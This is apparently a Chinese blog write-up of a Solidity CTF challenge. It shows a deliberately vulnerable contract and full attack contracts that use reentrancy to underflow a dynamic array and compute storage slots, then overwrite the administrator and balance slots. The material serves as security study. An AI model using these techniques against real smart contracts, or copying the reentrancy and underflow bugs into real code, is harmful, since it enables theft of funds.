07.重入&存储溢出&类型存储计算
2023-06-23 20:22:31 # 00.security

重入&存储溢出&类型存储计算

题目

要求:check合约获得100分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.24;

contract userinfo{
address public administration;
mapping(address => uint256)public balances;

struct User{
string name;
uint256 balance;
}

mapping(address => User[])public users;

constructor()public{
administration = msg.sender;
}

function addUser(string memory _name)public payable{
User memory user;
user.name = _name;
user.balance = msg.value;

users[msg.sender].push(user);
balances[msg.sender]+=msg.value;
}

function deleteUser() public {
uint256 len = users[msg.sender].length;
User memory user = users[msg.sender][len-1];

require(balances[msg.sender]>=user.balance,"balance error");
balances[msg.sender]-=user.balance;
bool success =msg.sender.call.value(user.balance)();
require(success,"transfer error");

users[msg.sender].length--;
}

function setName(uint256 index,string memory newName)public{
User storage user = users[msg.sender][index];
user.name = newName;
}

}
contract check{
uint256 public score;
userinfo public info = new userinfo();

function isCompleted()public{
score =0;
if (info.administration()==address(0)){
score+=25;
}

if(info.balances(msg.sender)>=1000000 ether){
score+=75;
}
}

}

分析

本题考点:重入,数组溢出获得整个EVM存储空间,mapping、动态数组、结构体、string存储位置计算,对于我来说非常难

  • 重入&数组溢出:重入比较常规,通过重入来导致数组溢出,获得整个EVM的存储,然后我们就可以修改整个合约中的任何数据了
1
2
3
4
5
6
function()external payable{
if(times<2){
times+=1;
info.deleteUser();
}
}
  • mapping、动态数组、结构体、string存储位置计算:可以参考我之前这一篇文章

攻击流程和思路,用图画出来比用文字阐述更加的生动形象容易理解

安全审计41

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
contract userinfoAttack{
check public che;
userinfo public info;
uint256 public times;
constructor(address _che)public{
che = check(_che);
info = che.info();
}

function add(string _name)internal {
info.addUser.value(msg.value)(_name);
}
function deleteU()internal{
info.deleteUser();
}
function setN(uint256 index,string memory name)internal{
info.setName(index,name);
}

function init()public{
add("a");
deleteU();

}
function att1()public{
setN(fig2(address(this)),""); //设置为全0,即空的
}

function att2()public{
//原来写的是sbgzx,修改成1也可以。原因:string是高字节开始编码的,那么存储金额的slot就变成了4900000...000,肯定大于1000000 ether。
//为什么是49呢?因为1的ASCII码值是49
//如果按照原来的sbgzx,那就会被编码成1159810312212000000000.00000
//但是如果传入的字符串太长,也不行吧这道题
//因为如果传入的string太长,那么这个位置存放的数据就是字符串长度,而不是数据本身
//长度的话,高字节就全是00000000000000000...长度
//这样就无法大于10000ETH

//setN(fig5(address(this)),"sbgzx");
setN(fig5(address(this)),"11111111111111111111111111111111111111111111111111111111111111111");
}
function complete()public{
che.isCompleted();
}
function()external payable{
if(times<2){
times+=1;
info.deleteUser();
}
}

function arrayStart(address _addr)public pure returns(bytes32){
return keccak256(bytes32(_addr),uint256(2));
}
function arrayEle(address _addr) public pure returns(bytes32){
return keccak256(arrayStart(_addr));
}
function fig1(address _addr)public pure returns(uint256){
return (uint256(-1)-uint256(arrayEle(_addr))+1)%2;
}
function fig2(address _addr)public pure returns(uint256){
return (uint256(-1)-uint256(arrayEle(_addr))+1)/2;
}
function fig3(address _addr)public pure returns(bytes32){
return keccak256(bytes32(_addr),uint256(1));
}
function fig4(address _addr)public pure returns(uint256){
return (uint256(fig3(_addr))-uint256(arrayEle(_addr)))%2;
}
function fig5(address _addr)public pure returns(uint256){
return (uint256(fig3(_addr))-uint256(arrayEle(_addr)))/2;
}
}

contract deploy{
userinfoAttack public user;

function arrayStart(address _addr)public pure returns(bytes32){
return keccak256(bytes32(_addr),uint256(2));
}//users的键address对应的动态数组User[]的长度的slot位置

function arrayEle(address _addr) public pure returns(bytes32){
return keccak256(arrayStart(_addr));
}//users的键address对应的动态数组User[]的元素的数据实际位置

//用于判断结构体中的name属性的位置
function fig1(address _addr)public pure returns(uint256){
return (uint256(-1)-uint256(arrayEle(_addr))+1)%2;
}

//用于找到setName数组索引的index
function fig2(address _addr)public pure returns(uint256){
return (uint256(-1)-uint256(arrayEle(_addr))+1)/2;
}

function fig3(address _addr)public pure returns(bytes32){
return keccak256(bytes32(_addr),uint256(1));
}//balances的键address对应的uint256的存储插槽位置

function fig4(address _addr)public pure returns(uint256){
return (uint256(fig3(_addr))-uint256(arrayEle(_addr)))%2;
}

function fig5(address _addr)public pure returns(uint256){
return (uint256(fig3(_addr))-uint256(arrayEle(_addr)))/2;
}


function dep(address _addr)public{
for(uint i=0;i<999;i++){
userinfoAttack _user = new userinfoAttack(_addr);
if (fig1(address(_user)) ==0 && fig4(address(_user))==0){
user = _user;
break;
}
}

}
}

反思

很复杂,目前我的水平做不出来,积累一下知识点,理解整道题,明白它的运作原理。最重要的是要知道复杂情况的存储是如何计算位置的。本道题如果加上多级继承,当然市面上的商用/开源合约经常用到继承,那么存储结构将会地狱级复杂,那么币被盗的那些黑客,他们都能用修改合约结构的方式找到对应插槽,从而获利,他们的功底得多扎实

Prev
2023-06-23 20:22:31 # 00.security
Next